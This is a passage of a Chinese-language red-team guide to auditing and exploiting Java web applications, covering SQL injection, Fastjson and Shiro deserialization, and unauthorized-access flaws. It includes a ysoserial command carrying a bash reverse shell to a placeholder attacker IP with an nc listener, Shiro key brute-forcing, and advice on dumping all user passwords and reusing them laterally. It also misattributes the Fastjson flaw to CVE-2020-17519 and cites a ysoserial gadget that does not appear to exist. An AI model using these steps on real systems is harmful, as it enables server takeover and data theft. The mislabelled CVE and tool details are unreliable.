            \u5fae\u670d\u52a1\u67b6\u6784\u4e2d，Java Web\u9879\u76ee\u7684\u6570\u636e\u5e93\u8bbf\u95ee\u5e38\u901a\u8fc7\u5206\u5e03\u5f0f\u6570\u636e\u5e93\u4e2d\u95f4\u4ef6（\u5982Sharding-JDBC）\u3001\u670d\u52a1\u6ce8\u518c\u53d1\u73b0（\u5982Nacos\/Eureka）\u5b9e\u73b0，\u6b64\u65f6SQL\u6ce8\u5165\u6f0f\u6d1e\u53ef\u80fd\u51fa\u73b0\u5728\u4e2d\u95f4\u4ef6\u7684SQL\u89e3\u6790\u5c42\u3001\u5fae\u670d\u52a1\u95f4\u7684\u53c2\u6570\u4f20\u9012\u5c42，\u4f8b\u5982：Sharding-JDBC\u5bf9\u67d0\u4e9b\u7279\u6b8aSQL\u7684\u89e3\u6790\u7f3a\u9677，\u5bfc\u81f4\u5f00\u53d1\u8005\u7684\u9884\u7f16\u8bd1\u5931\u6548；\u5fae\u670d\u52a1\u95f4\u4f20\u9012\u7684\u67e5\u8be2\u53c2\u6570\u672a\u505a\u8fc7\u6ee4，\u5bfc\u81f4\u4e0b\u6e38\u670d\u52a1\u51fa\u73b0SQL\u6ce8\u5165\u3002\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u68c0\u67e5\u5206\u5e03\u5f0f\u6570\u636e\u5e93\u4e2d\u95f4\u4ef6\u7684\u4f7f\u7528\u7248\u672c\u3001\u5fae\u670d\u52a1\u95f4\u7684\u53c2\u6570\u6821\u9a8c\u673a\u5236，\u6316\u6398\u5fae\u670d\u52a1\u573a\u666f\u4e0b\u7684SQL\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n

            4. \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e：\u9ad8\u5371\u5bb3\u7684\u201c\u6846\u67b6\u7ea7\u6f0f\u6d1e\u201d<\/h4>\n

            \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u662fJava Web\u751f\u6001\u4e2d\u5371\u5bb3\u7b49\u7ea7\u6700\u9ad8\u3001\u5229\u7528\u96be\u5ea6\u4e2d\u7b49\u7684\u6846\u67b6\u7ea7\u6f0f\u6d1e，\u5229\u7528\u6210\u529f\u540e\u53ef\u76f4\u63a5\u5b9e\u73b0\u547d\u4ee4\u6267\u884c\u3001\u4ee3\u7801\u6267\u884c，\u4e14\u8be5\u6f0f\u6d1e\u5e38\u51fa\u73b0\u5728\u6846\u67b6\u539f\u751f\u7ec4\u4ef6\u3001\u5e8f\u5217\u5316\u6846\u67b6\u3001\u7b2c\u4e09\u65b9\u4f9d\u8d56\u4e2d，\u65e0\u9700\u5f00\u53d1\u8005\u7f16\u5199\u9519\u8bef\u4ee3\u7801，\u4ec5\u9700\u4f7f\u7528\u5b58\u5728\u6f0f\u6d1e\u7684\u6846\u67b6\/\u4f9d\u8d56\u7248\u672c，\u5373\u53ef\u89e6\u53d1\u3002<\/p>\n

            \u968f\u7740Fastjson\u3001Shiro\u3001Spring\u7b49\u4e3b\u6d41\u6846\u67b6\u7684\u6f0f\u6d1e\u4fee\u590d，\u4f20\u7edf\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5df2\u51cf\u5c11，\u4f46\u7b2c\u4e09\u65b9\u4f9d\u8d56\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3001\u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\u673a\u5236\u7684\u6f0f\u6d1e\u4ecd\u9891\u7e41\u51fa\u73b0，\u4e14\u7ea2\u961f\u53ef\u901a\u8fc7\u5bfb\u627e\u672a\u4fee\u590d\u7684\u6f0f\u6d1e\u7248\u672c\u3001\u6784\u9020\u9002\u914d\u7684gadget\u5b9e\u73b0\u5229\u7528\u3002\u8be5\u6f0f\u6d1e\u662f\u7ea2\u961f\u5185\u7f51\u6e17\u900f\u3001\u6279\u91cf\u6253\u70b9\u7684\u6838\u5fc3\u5229\u5668，\u5c24\u5176\u662f\u5728\u76ee\u6807\u5b58\u5728\u591a\u4e2a\u4f7f\u7528\u76f8\u540c\u6846\u67b6\u7248\u672c\u7684Java Web\u9879\u76ee\u65f6，\u53ef\u5b9e\u73b0\u4e00\u6b21\u5229\u7528\u3001\u6279\u91cf\u6253\u70b9\u3002<\/p>\n

            （1）\u6838\u5fc3\u5ba1\u8ba1\u7279\u5f81：\u4e09\u8981\u7d20\u5b9a\u4f4d\u6f0f\u6d1e<\/h5>\n

            Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u89e6\u53d1\u9700\u8981\u6ee1\u8db3\u4e09\u4e2a\u6838\u5fc3\u6761\u4ef6，\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u540c\u65f6\u9a8c\u8bc1：<\/p>\n

          • \u53ef\u63a7\u53cd\u5e8f\u5217\u5316\u5165\u53e3：\u7528\u6237\u53ef\u63a7\u8f93\u5165（\u5982HTTP\u8bf7\u6c42\u4f53\u3001Cookie\u3001Header）\u76f4\u63a5\u4f20\u5165\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5；<\/li>\n
          • \u5b58\u5728\u5371\u9669\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5：\u9879\u76ee\u4e2d\u4f7f\u7528\u4e86ObjectInputStream.readObject()\u3001Fastjson.parseObject()\u3001Shiro\u7684rememberMe\u53cd\u5e8f\u5217\u5316\u7b49\u5371\u9669\u65b9\u6cd5；<\/li>\n
          • \u5b58\u5728\u53ef\u5229\u7528\u7684gadget：\u9879\u76ee\u7684\u4f9d\u8d56\u5305\u4e2d\u5305\u542b\u53ef\u5229\u7528\u7684gadget（\u5982Commons Collections\u3001Commons Beanutils\u3001C3P0），\u4e14\u7248\u672c\u5b58\u5728\u6f0f\u6d1e\u3002<\/li>\n

            \u901a\u8fc7\u4ee5\u4e0b\u5173\u952e\u8bcd\u5feb\u901f\u5b9a\u4f4d\u53ef\u7591\u4ee3\u7801\/\u4f9d\u8d56：<\/p>\n

              \n
            • \u53cd\u5e8f\u5217\u5316\u6838\u5fc3\u65b9\u6cd5：ObjectInputStream.readObject()\u3001Fastjson.parseObject()\u3001Jackson.readValue()\u3001Gson.fromJson()；<\/li>\n
            • \u6846\u67b6\u76f8\u5173\u5173\u952e\u8bcd：Shiro\u3001rememberMe\u3001Fastjson\u3001@JsonProperty；<\/li>\n
            • \u5371\u9669\u4f9d\u8d56：commons-collections\u3001commons-beanutils\u3001c3p0\u3001javassist\u3002<\/li>\n<\/ul>\n

              \u5ba1\u8ba1\u5173\u952e：\u4f18\u5148\u68c0\u67e5\u6846\u67b6\u7248\u672c（\u5982Fastjson <1.2.83\u3001Shiro <1.4.2）\u3001\u4f9d\u8d56\u5305\u7248\u672c，\u518d\u9a8c\u8bc1\u662f\u5426\u5b58\u5728\u53ef\u63a7\u7684\u53cd\u5e8f\u5217\u5316\u5165\u53e3，\u6846\u67b6\u7248\u672c\u662f\u51b3\u5b9a\u6f0f\u6d1e\u662f\u5426\u53ef\u5229\u7528\u7684\u6838\u5fc3\u3002<\/p>\n

              （2）\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b：Fastjson\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e（CVE-2020-17519）<\/h5>\n

              \/\/ \u6f0f\u6d1e\u4ee3\u7801：SpringBoot\u63a5\u53e3，\u4f7f\u7528Fastjson 1.2.60\u89e3\u6790\u7528\u6237\u8f93\u5165\u7684JSON\u6570\u636e，\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/span>
              \n@RestController<\/span>
              \n@RequestMapping<\/span>(<\/span>"\/json"<\/span>)<\/span>
              \npublic<\/span> class<\/span> JsonController<\/span> {<\/span>
              \n @PostMapping<\/span>(<\/span>"\/parse"<\/span>)<\/span>
              \n public<\/span> String<\/span> parse<\/span>(<\/span>@RequestBody<\/span> String<\/span> jsonStr)<\/span> throws<\/span> Exception<\/span> {<\/span>
              \n \/\/ \u4f7f\u7528Fastjson\u76f4\u63a5\u89e3\u6790\u7528\u6237\u8f93\u5165\u7684JSON\u5b57\u7b26\u4e32，\u65e0\u4efb\u4f55\u8fc7\u6ee4<\/span>
              \n Object<\/span> obj =<\/span> JSON.<\/span>parseObject<\/span>(<\/span>jsonStr)<\/span>;<\/span>
              \n return<\/span> "\u89e3\u6790\u6210\u529f："<\/span> +<\/span> obj.<\/span>toString<\/span>(<\/span>)<\/span>;<\/span>
              \n }<\/span>
              \n}<\/span><\/p>\n

              \u6f0f\u6d1e\u5173\u952e：\u9879\u76ee\u4f7f\u7528\u4e86Fastjson 1.2.60\u7248\u672c（\u5b58\u5728CVE-2020-17519\u6f0f\u6d1e），\u4e14\u7528\u6237\u8f93\u5165\u7684JSON\u5b57\u7b26\u4e32\u76f4\u63a5\u4f20\u5165JSON.parseObject()\u65b9\u6cd5，\u65e0\u4efb\u4f55\u9632\u62a4\u3002<\/p>\n

              （3）\u7ea2\u961f\u5b9e\u6218\u5229\u7528：ysoserial\u751f\u6210payload，\u5b9e\u73b0\u547d\u4ee4\u6267\u884c<\/h5>\n

              \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u5229\u7528\u6838\u5fc3\u662f\u751f\u6210\u9002\u914d\u76ee\u6807\u6846\u67b6\/\u4f9d\u8d56\u7248\u672c\u7684gadget payload，\u7ea2\u961f\u4e3b\u8981\u4f7f\u7528ysoserial\u5de5\u5177\u751f\u6210payload，\u540c\u65f6\u7ed3\u5408Burp\u8fdb\u884cpayload\u7f16\u7801\u3001\u4f20\u8f93，\u5b9e\u73b0\u547d\u4ee4\u6267\u884c\u3002<\/p>\n

              \u5b9e\u6218\u6b65\u9aa4（\u4ee5Fastjson\u4e3a\u4f8b）：<\/p>\n

            • \u786e\u8ba4\u76ee\u6807\u7248\u672c：\u901a\u8fc7\u9ed1\u76d2\u63a2\u6d4b\/\u767d\u76d2\u5ba1\u8ba1，\u786e\u8ba4Fastjson\u7684\u7248\u672c\u4e3a1.2.60（\u9002\u914dCVE-2020-17519）；<\/li>\n
            • \u751f\u6210payload：\u4f7f\u7528ysoserial\u751f\u6210\u9002\u914d\u7684payload，\u547d\u4ee4：java -jar ysoserial.jar Fastjson1 "bash -i >& \/dev\/tcp\/\u7ea2\u961fIP\/\u76d1\u542c\u7aef\u53e3 0>&1" > payload.txt；<\/li>\n
            • payload\u4f20\u8f93：\u901a\u8fc7Burp\u5c06payload.txt\u4e2d\u7684\u5185\u5bb9\u4f5c\u4e3a\u8bf7\u6c42\u4f53，\u53d1\u9001\u5230\/json\/parse\u63a5\u53e3，\u8bbe\u7f6e\u8bf7\u6c42\u5934Content-Type: application\/json；<\/li>\n
            • \u672c\u5730\u76d1\u542c：\u4f7f\u7528nc\u5de5\u5177\u76d1\u542c\u7aef\u53e3，\u63a5\u6536\u53cd\u5f39shell，\u5b9e\u73b0\u670d\u52a1\u5668\u63a7\u5236\u3002<\/li>\n

              Shiro\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528\u6280\u5de7：Shiro\u7684rememberMe Cookie\u7ecf\u8fc7\u52a0\u5bc6，\u9700\u5148\u7834\u89e3\u52a0\u5bc6\u5bc6\u94a5（\u53ef\u901a\u8fc7github\u4e0a\u7684Shiro\u5bc6\u94a5\u5b57\u5178\u7206\u7834\u5de5\u5177），\u518d\u4f7f\u7528ysoserial\u751f\u6210payload，\u52a0\u5bc6\u540e\u66ff\u6362rememberMe Cookie，\u53d1\u9001\u8bf7\u6c42\u5373\u53ef\u89e6\u53d1\u6f0f\u6d1e\u3002<\/p>\n

              （4）\u524d\u77bb\u6027\u5e94\u5bf9：\u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316\u7684\u65b0\u6f0f\u6d1e<\/h5>\n

              \u968f\u7740\u5f00\u53d1\u8005\u5bf9\u6846\u67b6\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u9632\u62a4\u610f\u8bc6\u63d0\u5347，\u90e8\u5206\u9879\u76ee\u4f1a\u4f7f\u7528\u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\u673a\u5236（\u5982\u81ea\u5b9a\u4e49ObjectInputStream\u7684\u5b50\u7c7b\u3001\u81ea\u5b9a\u4e49JSON\u89e3\u6790\u89c4\u5219），\u82e5\u81ea\u5b9a\u4e49\u673a\u5236\u4e2d\u5b58\u5728\u8fc7\u6ee4\u7f3a\u9677\u3001\u89e3\u6790\u7f3a\u9677，\u5219\u4f1a\u4ea7\u751f\u65b0\u578b\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e，\u4e14\u8be5\u7c7b\u6f0f\u6d1e\u65e0\u516c\u5f00\u7684exp，\u9632\u62a4\u96be\u5ea6\u66f4\u9ad8\u3002\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u68c0\u67e5\u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316\u7684\u4ee3\u7801，\u5224\u65ad\u662f\u5426\u5b58\u5728\u53ef\u63a7\u7684\u8f93\u5165\u3001\u662f\u5426\u6709\u6709\u6548\u7684\u8fc7\u6ee4\u673a\u5236，\u6316\u63980day\u6f0f\u6d1e\u7684\u53ef\u80fd\u6027\u3002<\/p>\n

              5. \u672a\u6388\u6743\u8bbf\u95ee\/\u8d8a\u6743\u64cd\u4f5c：\u5feb\u901f\u6a2a\u5411\u6269\u5c55\u7684\u201c\u6572\u95e8\u7816\u201d<\/h4>\n

              \u672a\u6388\u6743\u8bbf\u95ee\/\u8d8a\u6743\u64cd\u4f5c（\u6c34\u5e73\u8d8a\u6743\/\u5782\u76f4\u8d8a\u6743）\u662f\u7ea2\u961f\u5185\u7f51\u6e17\u900f\u3001\u6a2a\u5411\u6269\u5c55\u7684\u6838\u5fc3\u6f0f\u6d1e，\u5229\u7528\u6210\u529f\u540e\u53ef\u76f4\u63a5\u8bbf\u95ee\u540e\u53f0\u7ba1\u7406\u6a21\u5757\u3001\u83b7\u53d6\u654f\u611f\u4e1a\u52a1\u6570\u636e\u3001\u64cd\u4f5c\u5176\u4ed6\u7528\u6237\u7684\u8d26\u53f7，\u4e14\u8be5\u6f0f\u6d1e\u7684\u5229\u7528\u96be\u5ea6\u6700\u4f4e\u3001\u51fa\u73b0\u6982\u7387\u6700\u9ad8，\u5728Java Web\u9879\u76ee\u7684\u6743\u9650\u6821\u9a8c\u6a21\u5757\u3001\u63a5\u53e3\u5f00\u53d1\u6a21\u5757\u4e2d\u9891\u7e41\u51fa\u73b0\u3002<\/p>\n

              \u968f\u7740Spring Security\u3001Shiro\u7b49\u6743\u9650\u6846\u67b6\u7684\u666e\u53ca，\u7eaf\u624b\u5de5\u7684\u6743\u9650\u6821\u9a8c\u5df2\u51cf\u5c11，\u4f46\u5f00\u53d1\u8005\u7684\u914d\u7f6e\u5931\u8bef\u3001\u63a5\u53e3\u672a\u505a\u6743\u9650\u62e6\u622a\u3001\u6743\u9650\u6821\u9a8c\u903b\u8f91\u9519\u8bef\u4ecd\u5bfc\u81f4\u8be5\u6f0f\u6d1e\u9891\u7e41\u51fa\u73b0，\u5c24\u5176\u662fSpringBoot\u6846\u67b6\u4e2d，\u56e0\u7b80\u5316\u5f00\u53d1，\u90e8\u5206\u5f00\u53d1\u8005\u4f1a\u5ffd\u7565\u5bf9\u540e\u53f0\u63a5\u53e3\u7684\u6743\u9650\u6821\u9a8c，\u5bfc\u81f4\u672a\u6388\u6743\u8bbf\u95ee\u3002<\/p>\n

              （1）\u6838\u5fc3\u5ba1\u8ba1\u7279\u5f81：\u7cbe\u51c6\u5b9a\u4f4d\u6743\u9650\u6821\u9a8c\u7f3a\u9677<\/h5>\n

              \u672a\u6388\u6743\u8bbf\u95ee\/\u8d8a\u6743\u64cd\u4f5c\u7684\u6838\u5fc3\u5ba1\u8ba1\u7279\u5f81\u662f\u6743\u9650\u6821\u9a8c\u7f3a\u5931\/\u903b\u8f91\u9519\u8bef，\u7ea2\u961f\u9700\u91cd\u70b9\u68c0\u67e5\u4ee5\u4e0b\u5185\u5bb9，\u901a\u8fc7\u5173\u952e\u8bcd\u5feb\u901f\u5b9a\u4f4d：<\/p>\n

                \n
              • \u672a\u6388\u6743\u8bbf\u95ee：\u63a5\u53e3\u65e0\u4efb\u4f55\u6743\u9650\u6821\u9a8c\u6ce8\u89e3（\u5982Spring Security\u7684@PreAuthorize\u3001Shiro\u7684@RequiresPermissions），\u65e0session\/Token\u6821\u9a8c，\u4efb\u4f55\u4eba\u53ef\u76f4\u63a5\u8bbf\u95ee；
                \n\u5173\u952e\u8bcd：@RequestMapping\u3001@RestController（\u65e0\u6743\u9650\u6ce8\u89e3\u642d\u914d）\u3001HttpSession.getAttribute()（\u65e0session\u6821\u9a8c）；<\/li>\n
              • \u6c34\u5e73\u8d8a\u6743：\u7528\u6237\u8f93\u5165\u7684\u552f\u4e00\u6807\u8bc6（\u5982\u7528\u6237ID\u3001\u8ba2\u5355ID）\u76f4\u63a5\u4f5c\u4e3a\u67e5\u8be2\u6761\u4ef6，\u672a\u6821\u9a8c\u8be5\u6807\u8bc6\u662f\u5426\u5f52\u5c5e\u4e8e\u5f53\u524d\u767b\u5f55\u7528\u6237；
                \n\u5173\u952e\u8bcd：@PathVariable("id")\u3001user.getId()\u3001order.getOrderId()（\u65e0\u5f52\u5c5e\u6743\u6821\u9a8c）；<\/li>\n
              • \u5782\u76f4\u8d8a\u6743：\u4f4e\u6743\u9650\u7528\u6237\u53ef\u8bbf\u95ee\u9ad8\u6743\u9650\u63a5\u53e3，\u6743\u9650\u6821\u9a8c\u7684\u89d2\u8272\/\u6743\u9650\u5224\u65ad\u903b\u8f91\u9519\u8bef（\u5982\u5c06admin\u5199\u4e3auser）；
                \n\u5173\u952e\u8bcd：@PreAuthorize("hasRole('user')")\u3001RequiresRoles("user")（\u89d2\u8272\u5224\u65ad\u9519\u8bef）\u3002<\/li>\n<\/ul>\n

                \u5ba1\u8ba1\u5173\u952e：\u4f18\u5148\u68c0\u67e5\u540e\u53f0\u7ba1\u7406\u6a21\u5757\u7684\u63a5\u53e3\u3001\u654f\u611f\u4e1a\u52a1\u63a5\u53e3（\u5982\u7528\u6237\u67e5\u8be2\u3001\u8ba2\u5355\u7ba1\u7406\u3001\u6570\u636e\u5bfc\u51fa），\u8fd9\u4e9b\u63a5\u53e3\u7684\u6743\u9650\u6821\u9a8c\u7f3a\u9677\u5e26\u6765\u7684\u5371\u5bb3\u6700\u5927\u3002<\/p>\n

                （2）\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b：SpringBoot\u7684\u540e\u53f0\u63a5\u53e3\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e<\/h5>\n

                \/\/ \u6f0f\u6d1e\u4ee3\u7801：\u540e\u53f0\u7ba1\u7406\u7684\u7528\u6237\u6570\u636e\u67e5\u8be2\u63a5\u53e3，\u65e0\u4efb\u4f55\u6743\u9650\u6821\u9a8c，\u4efb\u4f55\u4eba\u53ef\u76f4\u63a5\u8bbf\u95ee<\/span>
                \n@RestController<\/span>
                \n@RequestMapping<\/span>(<\/span>"\/admin"<\/span>)<\/span>
                \npublic<\/span> class<\/span> AdminController<\/span> {<\/span>
                \n @Autowired<\/span>
                \n private<\/span> UserService<\/span> userService;<\/span><\/p>\n

                \/\/ \u65e0@PreAuthorize\u3001\u65e0Shiro\u6ce8\u89e3\u3001\u65e0session\u6821\u9a8c，\u672a\u6388\u6743\u8bbf\u95ee<\/span>
                \n @GetMapping<\/span>(<\/span>"\/getAllUser"<\/span>)<\/span>
                \n public<\/span> List<\/span><<\/span>User<\/span>><\/span><\/span> getAllUser<\/span>(<\/span>)<\/span> {<\/span>
                \n \/\/ \u76f4\u63a5\u8fd4\u56de\u6240\u6709\u7528\u6237\u7684\u654f\u611f\u4fe1\u606f（\u5305\u62ec\u5bc6\u7801）<\/span>
                \n return<\/span> userService.<\/span>listAll<\/span>(<\/span>)<\/span>;<\/span>
                \n }<\/span><\/p>\n

                \/\/ \u6c34\u5e73\u8d8a\u6743：\u7528\u6237ID\u4e3a\u7528\u6237\u53ef\u63a7\u8f93\u5165，\u672a\u6821\u9a8c\u5f52\u5c5e\u6743<\/span>
                \n @GetMapping<\/span>(<\/span>"\/getUser\/{id}"<\/span>)<\/span>
                \n public<\/span> User<\/span> getUser<\/span>(<\/span>@PathVariable<\/span> Integer<\/span> id)<\/span> {<\/span>
                \n return<\/span> userService.<\/span>getById<\/span>(<\/span>id)<\/span>;<\/span>
                \n }<\/span>
                \n}<\/span><\/p>\n

                （3）\u7ea2\u961f\u5b9e\u6218\u5229\u7528：\u4ece\u4fe1\u606f\u6536\u96c6\u5230\u6a2a\u5411\u6269\u5c55<\/h5>\n

                \u672a\u6388\u6743\u8bbf\u95ee\/\u8d8a\u6743\u64cd\u4f5c\u7684\u5229\u7528\u6838\u5fc3\u662f\u5feb\u901f\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3001\u6269\u5927\u653b\u51fb\u9762，\u7ea2\u961f\u5229\u7528\u8be5\u6f0f\u6d1e\u65f6，\u4f18\u5148\u5b9e\u73b0\u4ee5\u4e0b\u76ee\u6807，\u4e3a\u540e\u7eed\u6253\u70b9\u548c\u6a2a\u5411\u6269\u5c55\u6253\u4e0b\u57fa\u7840：<\/p>\n

              • \u83b7\u53d6\u654f\u611f\u6570\u636e：\u8bbf\u95ee\u672a\u6388\u6743\u7684\u540e\u53f0\u63a5\u53e3，\u83b7\u53d6\u6240\u6709\u7528\u6237\u7684\u8d26\u53f7\u5bc6\u7801\u3001\u4e1a\u52a1\u6570\u636e\u3001\u670d\u52a1\u5668\u914d\u7f6e\u4fe1\u606f\u7b49；<\/li>\n
              • \u767b\u5f55\u540e\u53f0\u7ba1\u7406\u7cfb\u7edf：\u5229\u7528\u83b7\u53d6\u7684\u7ba1\u7406\u5458\u8d26\u53f7\u5bc6\u7801，\u767b\u5f55\u540e\u53f0\u7ba1\u7406\u7cfb\u7edf，\u64cd\u4f5c\u540e\u53f0\u529f\u80fd（\u5982\u6587\u4ef6\u4e0a\u4f20\u3001\u547d\u4ee4\u6267\u884c\u3001\u6570\u636e\u5bfc\u51fa），\u8fdb\u4e00\u6b65\u5b9e\u73b0GetShell；<\/li>\n
              • \u6c34\u5e73\u8d8a\u6743\u64cd\u4f5c：\u901a\u8fc7\u4fee\u6539\u7528\u6237ID\/\u8ba2\u5355ID，\u8bbf\u95ee\u5176\u4ed6\u7528\u6237\u7684\u654f\u611f\u4fe1\u606f（\u5982\u94f6\u884c\u5361\u53f7\u3001\u624b\u673a\u53f7），\u6216\u64cd\u4f5c\u5176\u4ed6\u7528\u6237\u7684\u8d26\u53f7（\u5982\u8f6c\u8d26\u3001\u6539\u5bc6\u7801）；<\/li>\n
              • \u6a2a\u5411\u6269\u5c55：\u5c06\u83b7\u53d6\u7684\u8d26\u53f7\u5bc6\u7801\u7528\u4e8e\u5bc6\u7801\u590d\u7528，\u5c1d\u8bd5\u767b\u5f55\u76ee\u6807\u670d\u52a1\u5668\u3001\u6570\u636e\u5e93\u3001\u5176\u4ed6\u4e1a\u52a1\u7cfb\u7edf，\u5b9e\u73b0\u5185\u7f51\u6a2a\u5411\u6e17\u900f\u3002<\/li>\n

                \u5b9e\u6218\u6280\u5de7：\u82e5\u672a\u6388\u6743\u8bbf\u95ee\u7684\u63a5\u53e3\u63d0\u4f9b\u6570\u636e\u5bfc\u51fa\u529f\u80fd，\u53ef\u901a\u8fc7\u5bfc\u51fa\u529f\u80fd\u5c06\u6570\u636e\u5e93\u4e2d\u7684\u6240\u6709\u6570\u636e\u4fdd\u5b58\u4e3aExcel\/CSV\u6587\u4ef6，\u5feb\u901f\u83b7\u53d6\u5168\u91cf\u654f\u611f\u6570\u636e，\u63d0\u5347\u6253\u70b9\u6548\u7387\u3002<\/p>\n

                （4）\u524d\u77bb\u6027\u5ba1\u8ba1：\u5fae\u670d\u52a1\u7684\u670d\u52a1\u95f4\u672a\u6388\u6743\u8bbf\u95ee<\/h5>\n

                \u5fae\u670d\u52a1\u67b6\u6784\u4e2d，Java Web\u9879\u76ee\u7684\u5fae\u670d\u52a1\u95f4\u901a\u4fe1\u5e38\u901a\u8fc7Feign\u3001Dubbo\u3001RestTemplate\u5b9e\u73b0，\u82e5\u5fae\u670d\u52a1\u95f4\u672a\u505a\u670d\u52a1\u8ba4\u8bc1\u3001\u63a5\u53e3\u6743\u9650\u6821\u9a8c，\u5219\u4f1a\u51fa\u73b0\u670d\u52a1\u95f4\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e，\u7ea2\u961f\u53ef\u901a\u8fc7\u8be5\u6f0f\u6d1e\u8bbf\u95ee\u5176\u4ed6\u5fae\u670d\u52a1\u7684\u654f\u611f\u63a5\u53e3，\u83b7\u53d6\u5fae\u670d\u52a1\u7684\u914d\u7f6e\u4fe1\u606f\u3001\u4e1a\u52a1\u6570\u636e，\u751a\u81f3\u5b9e\u73b0\u8de8\u5fae\u670d\u52a1\u7684\u547d\u4ee4\u6267\u884c\u3002\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u68c0\u67e5\u5fae\u670d\u52a1\u95f4\u7684\u901a\u4fe1\u914d\u7f6e\u3001\u670d\u52a1\u8ba4\u8bc1\u673a\u5236，\u6316\u6398\u5fae\u670d\u52a1\u573a\u666f\u4e0b\u7684\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\u3002<\/p>\n

                \u4e09\u3001\u7ea2\u961fJava Web\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u6d41\u7a0b：\u4ece\u4ee3\u7801\u5230\u63a7\u5236\u6743\u7684\u95ed\u73af<\/h3>\n

                \u7ea2\u961f\u5ba1\u8ba1\u7684\u6838\u5fc3\u662f**\u201c\u843d\u5730\u5229\u7528\u201d，\u6240\u6709\u7684\u6f0f\u6d1e\u6316\u6398\u90fd\u4e3a\u6253\u70b9\u670d\u52a1\u3002\u7ed3\u5408\u4e0a\u8ff0\u9ad8\u4ef7\u503c\u6f0f\u6d1e\u7684\u5ba1\u8ba1\u548c\u5229\u7528\u65b9\u6cd5，\u7ea2\u961f\u5f62\u6210\u4e86\u201c\u5feb\u901f\u626b\u63cf-\u8f93\u5165\u6eaf\u6e90-\u6f0f\u6d1e\u9a8c\u8bc1-\u5b9e\u6218\u5229\u7528-\u6a2a\u5411\u6269\u5c55\u201d\u7684\u6807\u51c6\u5316\u6253\u70b9\u6d41\u7a0b，\u8be5\u6d41\u7a0b\u9002\u914d\u7eaf\u767d\u76d2\u3001\u9ed1\u76d2+\u767d\u76d2\u3001\u4ec5JAR\u5305**\u7b49\u6240\u6709\u5ba1\u8ba1\u573a\u666f，\u80fd\u5728\u6700\u77ed\u65f6\u95f4\u5185\u5b9e\u73b0\u4ece\u4ee3\u7801\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7a81\u7834，\u540c\u65f6\u517c\u987e\u5ba1\u8ba1\u6548\u7387\u548c\u5229\u7528\u6210\u529f\u7387\u3002<\/p>\n

                1. \u7b2c\u4e00\u6b65：\u5feb\u901f\u626b\u63cf\u2014\u2014\u5173\u952e\u8bcd\u5b9a\u4f4d\u53ef\u7591\u4ee3\u7801，\u7f29\u5c0f\u5ba1\u8ba1\u8303\u56f4<\/h4>\n

                \u4f7f\u7528ripgrep\/IDEA\u5168\u5c40\u641c\u7d22，\u9488\u5bf9\u4e0a\u8ff0\u9ad8\u4ef7\u503c\u6f0f\u6d1e\u7684\u6838\u5fc3\u5ba1\u8ba1\u5173\u952e\u8bcd\u8fdb\u884c\u6279\u91cf\u626b\u63cf，\u5c06\u626b\u63cf\u7ed3\u679c\u6309\u201c\u6f0f\u6d1e\u7c7b\u578b\u3001\u63a5\u53e3\u4f4d\u7f6e\u3001\u8f93\u5165\u53c2\u6570\u201d\u5206\u7c7b，\u6807\u8bb0\u9ad8\u6982\u7387\u6f0f\u6d1e\u70b9\u3002\u6b64\u6b65\u9aa4\u7684\u76ee\u6807\u662f\u572810-15\u5206\u949f\u5185\u5b9a\u4f4d\u6240\u6709\u53ef\u7591\u4ee3\u7801，\u907f\u514d\u9010\u884c\u9605\u8bfb，\u63d0\u5347\u5ba1\u8ba1\u6548\u7387\u3002<\/p>\n

                \u626b\u63cf\u4f18\u5148\u7ea7：\u547d\u4ee4\u6267\u884c\/\u4ee3\u7801\u6267\u884c > \u6587\u4ef6\u4e0a\u4f20 > \u53cd\u5e8f\u5217\u5316 > SQL\u6ce8\u5165 > \u672a\u6388\u6743\u8bbf\u95ee\/\u8d8a\u6743\u64cd\u4f5c，\u6309\u5229\u7528\u4ef7\u503c\u4ece\u9ad8\u5230\u4f4e\u626b\u63cf，\u4f18\u5148\u5904\u7406\u9ad8\u4ef7\u503c\u6f0f\u6d1e\u7684\u53ef\u7591\u4ee3\u7801\u3002<\/p>\n

                2. \u7b2c\u4e8c\u6b65：\u8f93\u5165\u6eaf\u6e90\u2014\u2014\u8ddf\u8e2a\u4ee3\u7801\u6267\u884c\u6d41\u7a0b，\u786e\u8ba4\u6f0f\u6d1e\u662f\u5426\u53ef\u5229\u7528<\/h4>\n

